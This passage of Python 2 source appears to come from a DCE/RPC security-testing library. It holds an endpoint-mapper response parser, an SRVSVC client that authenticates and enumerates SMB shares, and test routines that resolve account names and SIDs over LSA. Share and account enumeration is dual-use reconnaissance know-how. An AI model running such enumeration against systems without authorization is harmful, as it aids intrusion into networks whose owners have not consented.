= unicode(data2.rstrip('\0')) elif proto_id == EPMAP_PROTO_ID_IP_ADDR: ip_str = u'%s.%s.%s.%s' % (ord(data2[0]), ord(data2[1]), ord(data2[2]), ord(data2[3])) result['ip'] = ip_str elif proto_id == EPMAP_PROTO_ID_TCP_PORT: tcp_port = struct.unpack('>H', data2[:2])[0] result['tcp'] = tcp_port elif proto_id == EPMAP_PROTO_ID_UDP_PORT: udp_port = struct.unpack('>H', data2[:2])[0] result['udp'] = udp_port # NETBEUI addresses are not recorded. elif proto_id == EPMAP_PROTO_ID_NETBEUI: pass elif proto_id == EPMAP_PROTO_ID_HTTP: http_port = struct.unpack('>H', data2[:2])[0] result['http'] = http_port # Do we have a parsing error? Probably not thus it's interesting # to dump this proto_id. This might require an update. else: logging.warning('Weird proto_id: %s' % proto_id) result['handle'] = '\0' * 20 results.append(result) except Exception as e: logging.warn('Parsing error, skipping current entry: %s', str(e)) continue return results
class SRVSVCClient(SRVSVC): def __init__(self, host, port=445): SRVSVC.__init__(self, host, port) self.username = None self.password = None self.domain = None self.kerberos_db = None self.use_krb5 = False def set_credentials(self, username=None, password=None, domain=None, kerberos_db=None, use_krb5=False): if username: self.username = username if password: self.password = password if domain: self.domain = domain if kerberos_db: self.kerberos_db = kerberos_db self.use_krb5 = True else: if use_krb5: self.use_krb5 = use_krb5 def __bind_krb5(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain, kerberos_db=self.kerberos_db, use_krb5=True) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind_ntlm(self, connector): try: self.dce = DCERPC(connector, getsock=None, username=self.username, password=self.password, domain=self.domain) return self.dce.bind(self.uuid[0], self.uuid[1], RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except Exception as e: return 0 def __bind(self, connector): if self.use_krb5: ret = self.__bind_krb5(connector) if not ret: return self.__bind_ntlm(connector) else: ret = self.__bind_ntlm(connector) if not ret: return self.__bind_krb5(connector) return 1 def bind(self): """ Perform a binding with the server. 0 is returned on failure. """ connectionlist = [] connectionlist.append(u'ncacn_np:%s[\\browser]' % self.host) connectionlist.append(u'ncacn_np:%s[\\srvsvc]' % self.host) connectionlist.append(u'ncacn_ip_tcp:%s[%d]' % (self.host,self.port)) connectionlist.append(u'ncacn_tcp:%s[%d]' % (self.host,self.port)) for connector in connectionlist: ret = self.__bind(connector) if ret: return 1 return 0 def get_reply(self): return self.dce.reassembled_data def share_get_info(self, NetName): data = NetrShareGetInfoRequest(ServerName='', NetName=NetName).pack() self.dce.call(SRVSVC_COM_NET_SHARE_GET_INFO, data, response=True) if len(self.get_reply()) < 4: raise Exception('share_get_info() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: resp = NetrShareGetInfoResponse(self.get_reply()) return resp.get_info() else: raise Exception('share_get_info() failed with status=%d.'% status) def share_enum(self, with_comments=True): """ Fetches the list of shares available on the system SRVSVCShareEnumException is raised on failure """ Level=0 if with_comments: Level=1 try: data = NetrShareEnumRequest(ServerName='', Level=Level).pack() except Exception as e: raise SRVSVCShareEnumException('share_enum() failed to build the request.') self.dce.call(SRVSVC_COM_NET_SHARE_ENUM_ALL, data, response=True) if len(self.get_reply()) < 4: raise SRVSVCShareEnumException('share_enum() call was not correct.') status = unpack('<L', self.get_reply()[-4:])[0] if status == 0: try: resp = NetrShareEnumResponse(self.get_reply()) return resp.get_shares() except Exception as e: raise SRVSVCShareEnumException('share_enum() failed: Parsing error in the answer.') if status == 5: raise SRVSVCShareEnumAccessDeniedException() else: raise SRVSVCShareEnumException('share_enum() failed.', status=status)
def do_test(): dce = DCERPC(u'ncacn_np:%s[\\lsarpc]' % HOST, getsock=None) dce.max_dcefrag = 100 dce.bind(u'12345778-1234-abcd-ef00-0123456789ab', u'0.0', RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) # 1. Open data = lsa.LSAOpenPolicy2Request( SystemName='\\\\%s' % HOST, DesiredAccess=lsa.LSA_POLICY_LOOKUP_NAMES).pack() dce.call(lsa.LSA_COM_OPEN_POLICY2, data, response=True) policy_handle = lsa.LSAOpenPolicy2Response( dce.reassembled_data).get_handle() # 2. Perform a lookup with valid names data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle, NamesArray=USERS).pack() dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status == 0: resp = lsa.LSALookupNames3Response(dce.reassembled_data) domains = resp.get_domains() sids = resp.get_sids() print sids sids2 = [sid['Sid'] for sid in sids] if sids2 != SIDS: return False else: return False # 3. Perform a lookup with invalid names data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle, NamesArray=USERS + ['notvalid']).pack() dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status != 0x107: # STATUS_SOME_NOT_MAPPED return False # 4. Perform a lookup with valid Sids data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle, Sids=SIDS).pack() data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status == 0: resp = lsa.LSALookupSidsResponse(dce.reassembled_data) domains = resp.get_domains() names = resp.get_names() else: return False # 5. Perform a lookup with invalid Sids data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle, Sids=SIDS + ['S-1-1337']).pack() data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status != 0x107: # STATUS_SOME_NOT_MAPPED return False # 6. Destroy the handle data = lsa.LSACloseRequest(PolicyHandle=policy_handle).pack() dce.call(lsa.LSA_COM_CLOSE, data, response=True) ret = lsa.LSACloseResponse(dce.reassembled_data).get_return_value() if ret: return False # Good :) return True
def do_test(): dce = DCERPC(u'ncacn_np:%s[\\lsarpc]' % HOST, getsock=None, username=USERNAME, password=PASSWORD) dce.max_dcefrag = 100 dce.bind(u'12345778-1234-abcd-ef00-0123456789ab', u'0.0', RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) # 1. Open data = lsa.LSAOpenPolicy2Request( SystemName='\\\\%s' % HOST, DesiredAccess=lsa.LSA_POLICY_LOOKUP_NAMES).pack() dce.call(lsa.LSA_COM_OPEN_POLICY2, data, response=True) policy_handle = lsa.LSAOpenPolicy2Response( dce.reassembled_data).get_handle() # 2. Perform a lookup with valid names data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle, NamesArray=USERS).pack() dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True) answer = dce.reassembled_data[:-4] if not answer or len(answer) < 4: logging.error( '[-] Failure! lsa.LSALookupNames3Request() did not return an answer.' ) return False status = unpack('<L', dce.reassembled_data[-4:])[0] if status == 0: resp = lsa.LSALookupNames3Response(dce.reassembled_data) domains = resp.get_domains() sids = resp.get_sids() logging.info(sids) SIDS = [sid['Sid'] for sid in sids] for s in SIDS: rid = int(s.split('-')[-1]) if rid != 500 and (rid < 1100 or rid > 1200): return False else: return False # 3. Perform a lookup with invalid names data = lsa.LSALookupNames3Request(PolicyHandle=policy_handle, NamesArray=USERS + ['notvalid']).pack() dce.call(lsa.LSA_COM_LOOKUP_NAMES3, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status != 0x107: # STATUS_SOME_NOT_MAPPED return False # 4. Perform a lookup with valid Sids data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle, Sids=SIDS).pack() data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status == 0: resp = lsa.LSALookupSidsResponse(dce.reassembled_data) domains = resp.get_domains() names = resp.get_names() else: return False # 5. Perform a lookup with invalid Sids data = lsa.LSALookupSidsRequest(PolicyHandle=policy_handle, Sids=SIDS + ['S-1-1337']).pack() data = dce.call(lsa.LSA_COM_LOOKUP_SIDS, data, response=True) answer = dce.reassembled_data[:-4] status = unpack('<L', dce.reassembled_data[-4:])[0] if status != 0xc0000078: # STATUS_INVALID_SID return False # 6. Destroy the handle data = lsa.LSACloseRequest(PolicyHandle=policy_handle).pack() dce.call(lsa.LSA_COM_CLOSE, data, response=True) ret = lsa.LSACloseResponse(dce.reassembled_data).get_return_value() if ret: return False # Good :) return True